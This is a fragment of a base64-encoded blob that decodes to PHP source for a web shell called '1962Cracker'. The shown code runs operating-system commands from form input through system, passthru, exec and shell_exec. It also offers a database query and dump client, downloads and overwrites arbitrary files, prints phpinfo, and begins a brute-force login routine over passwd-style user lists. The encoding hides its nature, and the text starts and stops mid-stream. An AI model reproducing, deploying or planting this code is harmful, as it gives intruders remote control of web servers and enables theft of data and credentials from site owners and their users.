WdlJ107IH0NCgkgYnJlYWs7IH0NCgkgcmV0dXJuIDA7IH0NCgkgZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpIA0KCSB7DQoJICR0aGlzLT5yb3dzPWFycmF5KCk7ICR0aGlzLT5jb2x1bW5zPWFycmF5KCk7ICR0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wOyBzd2l0Y2goJHRoaXMtPmRiKSANCgkgew0KCSBjYXNlICdNeVNRTCc6ICR0aGlzLT5udW1fcm93cz1AbXlzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7ICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOyB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsgQG15c3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOyBpZigkdGhpcy0+bnVtX3Jvd3MpDQoJIHsNCgkkdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KCSBicmVhazsgY2FzZSAnTVNTUUwnOiAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOyAkdGhpcy0+bnVtX2ZpZWxkcz1AbXNzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG1zc3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7IEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsgaWYoJHRoaXMtPm51bV9yb3dzKQ0KCSB7DQoJJHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCgk7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogJHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTsgJHRoaXMtPm51bV9maWVsZHM9QHBnX251bV9maWVsZHMoJHRoaXMtPnJlcyk7IHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBwZ19mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOyBAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7IGlmKCR0aGlzLT5udW1fcm93cykNCgkgew0KCSR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQoJIGJyZWFrOyBjYXNlICdPcmFjbGUnOiAkdGhpcy0+bnVtX2ZpZWxkcz1Ab2NpbnVtY29scygkdGhpcy0+cmVzKTsgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOyBAb2NpZnJlZXN0YXRlbWVudCgkdGhpcy0+cmVzKTsgaWYoJHRoaXMtPm51bV9yb3dzKQ0KCSB7DQoJJHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCgkgYnJlYWs7IH0NCgkgcmV0dXJuIDA7IH0NCgkgZnVuY3Rpb24gZHVtcCgkdGFibGUpIA0KCSB7DQoJIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOyAkdGhpcy0+ZHVtcD1hcnJheSgpOyAkdGhpcy0+ZHVtcFswXSA9ICcjIyc7ICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOyAkdGhpcy0+ZHVtcFsyXSA9ICcjIyAgQ3JlYXRlZDogJy5kYXRlICgiZC9tL1kgSDppOnMiKTsgJHRoaXMtPmR1bXBbM10gPSAnIyMgRGF0YWJhc2U6ICcuJHRoaXMtPmJhc2U7ICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsgJHRoaXMtPmR1bXBbNV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7IHN3aXRjaCgkdGhpcy0+ZGIpIA0KCSB7DQoJIGNhc2UgJ015U1FMJzogJHRoaXMtPmR1bXBbMF0gPSAnIyMgTXlTUUwgZHVtcCc7IGlmKCR0aGlzLT5xdWVyeSgnLyonLmNocigwKS4nKi8gU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOyBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7ICR0aGlzLT5kdW1wW10gPSAkdGhpcy0+cm93c1swXVsnQ3JlYXRlIFRhYmxlJ10uIjsiOyAkdGhpcy0+ZHVtcFtdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOyBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOyBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7IGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKSANCgkgew0KCSBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIA0KCSB7DQoJJHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpO30NCgkgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKGAnLkBpbXBsb2RlKCJgLCBgIiwgJHRoaXMtPmNvbHVtbnMpLidgKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOyB9DQoJIGJyZWFrOyBjYXNlICdNU1NRTCc6ICR0aGlzLT5kdW1wWzBdID0gJyMjIE1TU1FMIGR1bXAnOyBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOyBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykgDQoJIHsNCgkgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSANCgkgew0KCSR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fQ0KCSAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7IH0NCgkgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiAkdGhpcy0+ZHVtcFswXSA9ICcjIyBQb3N0Z3JlU1FMIGR1bXAnOyBpZigkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpIT0xKSByZXR1cm4gMDsgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOyBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykgDQoJIHsNCgkgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSANCgkgew0KCSR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fQ0KCSAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7IH0NCgkgYnJlYWs7IGNhc2UgJ09yYWNsZSc6ICR0aGlzLT5kdW1wWzBdID0gJyMjIE9SQUNMRSBkdW1wJzsgJHRoaXMtPmR1bXBbXSA9ICcjIyB1bmRlciBjb25zdHJ1Y3Rpb24nOyBicmVhazsgZGVmYXVsdDogcmV0dXJuIDA7IGJyZWFrOyB9DQoJIHJldHVybiAxOyB9DQoJIGZ1bmN0aW9uIGNsb3NlKCkgDQoJIHsNCgkgc3dpdGNoKCR0aGlzLT5kYikgDQoJIHsNCgkgY2FzZSAnTXlTUUwnOiBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyBicmVhazsgY2FzZSAnTVNTUUwnOiBAbXNzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IEBwZ19jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiBAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgYnJlYWs7IH0NCgkgfQ0KCSBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkgDQoJIHsNCgkgc3dpdGNoKCR0aGlzLT5kYikgDQoJIHsNCgkgY2FzZSAnTXlTUUwnOiByZXR1cm4gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7IGJyZWFrOyBjYXNlICdNU1NRTCc6IHJldHVybiBAbXNzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiByZXR1cm4gQHBnX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiByZXR1cm4gQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpOyBicmVhazsgZGVmYXVsdDogcmV0dXJuIDA7IGJyZWFrOyB9DQoJIH0NCgkgfQ0KCSBpZighZW1wdHkoJF9QT1NUWydjY2NjJ10pICYmICRfUE9TVFsnY2NjYyddPT0iZG93bmxvYWRfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnZF9uYW1lJ10pKSANCgkgew0KCSBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZF9uYW1lJ10sInIiKSkgDQoJIHsNCgkgZXJyKDEsJF9QT1NUWydkX25hbWUnXSk7ICRfUE9TVFsnY2NjYyddPSIiOyB9DQoJIGVsc2UgDQoJIHsNCgkgQG9iX2NsZWFuKCk7ICRmaWxlbmFtZSA9IEBiYXNlbmFtZSgkX1BPU1RbJ2RfbmFtZSddKTsgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2RfbmFtZSddKSk7IGZjbG9zZSgkZmlsZSk7ICRjb250ZW50X2VuY29kaW5nPSRtaW1lX3R5cGU9Jyc7IGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsgaWYgKCFlbXB0eSgkY29udGVudF9lbmNvZGluZykpIA0KCSB7DQoJIGhlYWRlcignQ29udGVudC1FbmNvZGluZzogJyAuICRjb250ZW50X2VuY29kaW5nKTsgfQ0KCSBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kbWltZV90eXBlKTsgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIjsiKTsgZWNobyAkZmlsZWR1bXA7IGV4aXQoKTsgfQ0KCSB9DQoJIGlmKGlzc2V0KCRfR0VUWydwaHBpbmZvJ10pKSANCgkgew0KCSBlY2hvIEBwaHBpbmZvKCk7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQoJIGlmICghZW1wdHkoJF9QT1NUWydjY2NjJ10pICYmICRfUE9TVFsnY2NjYyddPT0iZGJfcXVlcnkiKSANCgkgew0KCSBlY2hvICRoZWFkOyAkc3FsID0gbmV3IG15X3NxbCgpOyAkc3FsLT5kYiA9ICRfUE9TVFsnZGInXTsgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107ICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOyAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107ICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107ICRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJF9QT1NUWydkYl9xdWVyeSddKTsgZWNobyAnPGJvZHkgYmdjb2xvcj0jZTRlMGQ4Pic7IGlmKCEkc3FsLT5jb25uZWN0KCkpIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj4iLiRzcWwtPmVycm9yLiI8L2I+PC9mb250PjwvZGl2PiI7IGVsc2UgDQoJIHsNCgkgaWYoIWVtcHR5KCRzcWwtPmJhc2UpJiYhJHNxbC0+c2VsZWN0X2RiKCkpIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj4iLiRzcWwtPmVycm9yLiI8L2I+PC9mb250PjwvZGl2PiI7IGVsc2UgDQoJIHsNCgkgZm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSkgDQoJIHsNCgkgaWYoc3RybGVuKCRxdWVyeSk+NSkgDQoJIHsNCgkgZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9Z3JlZW4+PGI+UXVlcnkjIi4kbnVtLiIgOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9mb250Pjxicj4iOyBzd2l0Y2goJHNxbC0+cXVlcnkoJHF1ZXJ5KSkgDQoJIHsNCgkgY2FzZSAnMCc6IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+RXJyb3IgOiA8Yj4iLiRzcWwtPmVycm9yLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7IGJyZWFrOyBjYXNlICcxJzogaWYoJHNxbC0+Z2V0X3Jlc3VsdCgpKSANCgkgew0KCSBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOyBmb3JlYWNoKCRzcWwtPmNvbHVtbnMgYXMgJGs9PiR2KSAkc3FsLT5jb2x1bW5zWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7ICRrZXlzID0gQGltcGxvZGUoIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jODAwMDAwPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOyBlY2hvICI8dHI+PHRkIGJnY29sb3I9IzgwMDAwMD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLiRrZXlzLiImbmJzcDs8L2I+PC9mb250PjwvdGQ+PC90cj4iOyBmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKSANCgkgew0KCSBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsgJHZhbHVlcyA9IEBpbXBsb2RlKCImbmJzcDs8L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7IGVjaG8gJzx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7IH0NCgkgZWNobyAiPC90YWJsZT4iOyB9DQoJIGJyZWFrOyBjYXNlICcyJzogJGFyID0gJHNxbC0+YWZmZWN0ZWRfcm93cygpPygkc3FsLT5hZmZlY3RlZF9yb3dzKCkpOignMCcpOyBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPmFmZmVjdGVkIHJvd3MgOiA8Yj4iLiRhci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsgYnJlYWs7IH0NCgkgfQ0KCSB9DQoJIH0NCgkgfQ0KCSBlY2hvICI8YnI+PHRpdGxlPjE5NjJDcmFja2VyIEJ5IEFrcmFtIFN0ZWxsZTwvdGl0bGU+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7IA0KCSBlY2hvIGluKCdoaWRkZW4nLCdkYicsMCwkX1BPU1RbJ2RiJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7IGVjaG8gaW4oJ2hpZGRlbicsJ2RiX3BvcnQnLDAsJF9QT1NUWydkYl9wb3J0J10pOyBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9sJywwLCRfUE9TVFsnbXlzcWxfbCddKTsgZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7IGVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX2RiJywwLCRfUE9TVFsnbXlzcWxfZGInXSk7IGVjaG8gaW4oJ2hpZGRlbicsJ2NjY2MnLDAsJ2RiX3F1ZXJ5Jyk7IA0KCSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iOyBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5CYXNlOiA8L2I+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW15c3FsX2RiIHZhbHVlPVwiIi4kc3FsLT5iYXNlLiJcIj48L2ZvbnQ+PGJyPiI7IGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0VMRUNUICogRlJPTSB1c2VyOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOyBlY2hvICI8L2Zvcm0+IjsgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7IH0NCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoJZnVuY3Rpb24gY2NtbWRkKCRjY21tZGQyLCRhdHQpDQoJew0KCWdsb2JhbCAkY2NtbWRkMiwkYXR0Ow0KCWVjaG8gJw0KCTx0YWJsZSBzdHlsZT0id2lkdGg6IDEwMCUiIGNsYXNzPSJzdHlsZTEiIGRpcj0icnRsIj4NCgkJPHRyPg0KCQkJPHRkIGNsYXNzPSJzdHlsZTkiPjxzdHJvbmc+Pz8/SD8vc3Ryb25nPjwvdGQ+DQoJCTwvdHI+DQoJCTx0cj4NCgkJCTx0ZCBjbGFzcz0ic3R5bGUxMyI+DQoJCQkJCTxmb3JtIG1ldGhvZD0icG9zdCI+DQoJCQkJCQk8c2VsZWN0IG5hbWU9ImF0dCIgZGlyPSJydGwiIHN0eWxlPSJoZWlnaHQ6IDEwOXB4IiBzaXplPSI2Ij4NCgknOw0KCWlmKCRfUE9TVFsnYXR0J109PW51bGwpDQoJew0KCWVjaG8gJwkJCQkJCTxvcHRpb24gdmFsdWU9InN5c3RlbSIgc2VsZWN0ZWQ9IiI+c3lzdGVtPC9vcHRpb24+JzsNCgl9ZWxzZXsNCgllY2hvICIJCQkJCQk8b3B0aW9uIHZhbHVlPSckX1BPU1RbYXR0XScgc2VsZWN0ZWQ9Jyc+JF9QT1NUW2F0dF08L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPXN5c3RlbT5zeXN0ZW08L29wdGlvbj4NCgkiOw0KDQoJCQkJCQkJDQoJfQ0KDQoJZWNobyAnDQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPnBhc3N0aHJ1PC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0iZXhlYyI+ZXhlYzwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9InNoZWxsX2V4ZWMiPnNoZWxsX2V4ZWM8L29wdGlvbj4JDQoJCQkJCQk8L3NlbGVjdD4NCgkJCQkJCQk8aW5wdXQgbmFtZT0icGFnZSIgdmFsdWU9ImNjbW1kZCIgdHlwZT0iaGlkZGVuIj48YnI+DQoJCQkJCQkJPGlucHV0IGRpcj0ibHRyIiBuYW1lPSJjY21tZGQyIiBzdHlsZT0id2lkdGg6IDE3M3B4IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iJztpZighJF9QT1NUWydjY21tZGQyJ10pe2VjaG8gJ2Rpcic7fWVsc2V7ZWNobyAkX1BPU1RbJ2NjbW1kZDInXTt9ZWNobyAnIj48YnI+DQoJCQkJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij8/Pz4NCgkJCQkJPC9mb3JtPg0KCQkJDQoJCQk8L3RkPg0KCQk8L3RyPg0KCQk8dHI+DQoJCQk8dGQgY2xhc3M9InN0eWxlMTMiPg0KCSc7DQoNCgkJCWlmKCRfUE9TVFthdHRdPT0nc3lzdGVtJykNCgkJCXsNCgllY2hvICcNCgkJCQkJCTx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iVGV4dEFyZWExIiBzdHlsZT0id2lkdGg6IDc0NXB4OyBoZWlnaHQ6IDIwNHB4Ij4nOw0KCQkJCQkJc3lzdGVtKCRfUE9TVFsnY2NtbWRkMiddKTsNCgllY2hvICcJCQkJCTwvdGV4dGFyZWE+JzsNCg0KDQoJCQl9DQoNCgkJCWlmKCRfUE9TVFthdHRdPT0ncGFzc3RocnUnKQ0KCQkJew0KCWVjaG8gJw0KCQkJCQkJPHRleHRhcmVhIGRpcj0ibHRyIiBuYW1lPSJUZXh0QXJlYTEiIHN0eWxlPSJ3aWR0aDogNzQ1cHg7IGhlaWdodDogMjA0cHgiPic7DQoJCQkJCQlwYXNzdGhydSgkX1BPU1RbJ2NjbW1kZDInXSk7DQoJZWNobyAnCQkJCQk8L3RleHRhcmVhPic7DQoNCg0KCQkJfQ0KDQoJCQkNCg0KDQoNCgkJCWlmKCRfUE9TVFthdHRdPT0nZXhlYycpDQoJCQl7DQoNCgllY2hvICcJCQkJCTx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iVGV4dEFyZWExIiBzdHlsZT0id2lkdGg6IDc0NXB4OyBoZWlnaHQ6IDIwNHB4Ij4nOw0KCQkJCQkJZXhlYygkX1BPU1RbJ2NjbW1kZDInXSwkcmVzKTsNCgkJCQkJZWNobyAkcmVzID0gam9pbigiXG4iLCRyZXMpOyAJCQkJDQoJZWNobyAnCQkJCQk8L3RleHRhcmVhPic7DQoNCg0KCQkJfQ0KDQoNCg0KDQoNCg0KDQoJCQlpZigkX1BPU1RbYXR0XT09J3NoZWxsX2V4ZWMnKQ0KCQkJew0KDQoJZWNobyAnCQkJCQk8dGV4dGFyZWEgZGlyPSJsdHIiIG5hbWU9IlRleHRBcmVhMSIgc3R5bGU9IndpZHRoOiA3NDVweDsgaGVpZ2h0OiAyMDRweCI+JzsNCgkJCQkJZWNobwlzaGVsbF9leGVjKCRfUE9TVFsnY2NtbWRkMiddKTsNCgllY2hvICcJCQkJCTwvdGV4dGFyZWE+JzsNCg0KDQoJCQl9DQoJZWNobyAnCQkNCgkJCTwvdGQ+DQoJCTwvdHI+DQoJPC90YWJsZT4NCgknOw0KDQoJZXhpdDsNCgl9DQoNCglpZigkX1BPU1RbJ3BhZ2UnXT09J2VkaXQnKQ0KCXsNCg0KCSRjb2RlPUBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkX1BPU1RbJ2NvZGUnXSk7DQoJJGNvZGU9QHN0cl9yZXBsYWNlKCdcXCcsJycsJGNvZGUpOw0KCSRmcCA9IGZvcGVuKCRwYXRoY2xhc3MsICd3Jyk7DQoJZndyaXRlKCRmcCwiJGNvZGUiKTsNCglmY2xvc2UoJGZwKTsNCgllY2hvICI8Y2VudGVyPjxiPk9LIEVkaXQ8YnI+PGJyPjxicj48YnI+PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4iOw0KCWV4aXQ7DQoJfQkNCg0KDQoNCg0KDQoNCg0KCQlpZigkX1BPU1RbJ3BhZ2UnXT09J3Nob3cnKQ0KCQl7DQoJCSRwYXRoY2xhc3MgPSRfUE9TVFsncGF0aGNsYXNzJ107DQoJZWNobyAnDQoJPGZvcm0gbWV0aG9kPSJQT1NUIj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYWdlIiB2YWx1ZT0iZWRpdCI+DQoJJzsNCgkJDQoJCSRzYWhhY2tlciA9IGZvcGVuKCRwYXRoY2xhc3MsICJyYiIpOw0KCWVjaG8gJzxjZW50ZXI+Jy4kcGF0aGNsYXNzLic8YnI+PHRleHRhcmVhIGRpcj0ibHRyIiBuYW1lPSJjb2RlIiBzdHlsZT0id2lkdGg6IDg0NXB4OyBoZWlnaHQ6IDQwNHB4Ij4nOwkNCgkkY29kZSA9IGZyZWFkKCRzYWhhY2tlciwgZmlsZXNpemUoJHBhdGhjbGFzcykpOw0KCWVjaG8gJGNvZGUgPWh0bWxzcGVjaWFsY2hhcnMoJGNvZGUpOw0KCWVjaG8gJzwvdGV4dGFyZWE+JzsJDQoJCWZjbG9zZSgkc2FoYWNrZXIpOw0KCWVjaG8gJw0KCTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGF0aGNsYXNzIiB2YWx1ZT0iJy4kcGF0aGNsYXNzLiciIHN0eWxlPSJ3aWR0aDogNDQ1cHg7Ij4NCgk8YnI+PHN0cm9uZz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZWRpdCBmaWxlIj4NCgk8L2Zvcm0+DQoJJzsNCgkJCWV4aXQ7DQoJCX0NCg0KDQoNCg0KCQlpZigkX1BPU1RbJ3BhZ2UnXT09J2NjbW1kZCcpDQoJCXsNCgkJZWNobyBjY21tZGQoJGNjbW1kZDIsJGF0dCk7DQoJCWV4aXQ7DQoJCX0NCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCglpZigkX1BPU1RbJ3BhZ2UnXT09J2ZpbmQnKQ0KCXsNCglpZihpc3NldCgkX1BPU1RbJ3VzZXJuYW1lcyddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkcyddKSkNCgl7DQoJCQlpZigkX1BPU1RbJ3R5cGUnXSA9PSAncGFzc3dkJyl7DQoJCQkJCSRlID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsndXNlcm5hbWVzJ10pOw0KCQkJCQlmb3JlYWNoKCRlIGFzICR2YWx1ZSl7DQoJCQkJCSRrID0gZXhwbG9kZSgiOiIsJHZhbHVlKTsNCgkJCQkJJHVzZXJuYW1lIC49ICRrWycwJ10uIiAiOw0KCQkJCQl9DQoJCQl9ZWxzZWlmKCRfUE9TVFsndHlwZSddID09ICdzaW1wbGUnKXsNCgkJCQkJJHVzZXJuYW1lID0gc3RyX3JlcGxhY2UoIlxuIiwnICcsJF9QT1NUWyd1c2VybmFtZXMnXSk7DQoJCQl9DQoJCQkkYTEgPSBleHBsb2RlKCIgIiwkdXNlcm5hbWUpOw0KCQkJJGEyID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsncGFzc3dvcmRzJ10pOw0KCQkJJGlkMiA9IGNvdW50KCRhMik7DQoJCQkkb2sgPSAwOw0KCQkJZm9yZWFjaCgkYTEgYXMgJHVzZXIgKQ0KCQkJew0KCQkJCQlpZigkdXNlciAhPT0gJycpDQoJCQkJCXsNCgkJCQkJJHVzZXI9dHJpbSgkdXNlcik7DQoJCQkJCSBmb3IoJGk9MDskaTw9JGlkMjskaSsrKQ0KCQkJCQkgew0KCQkJCQkJCSRwYXNzID0gdHJpbS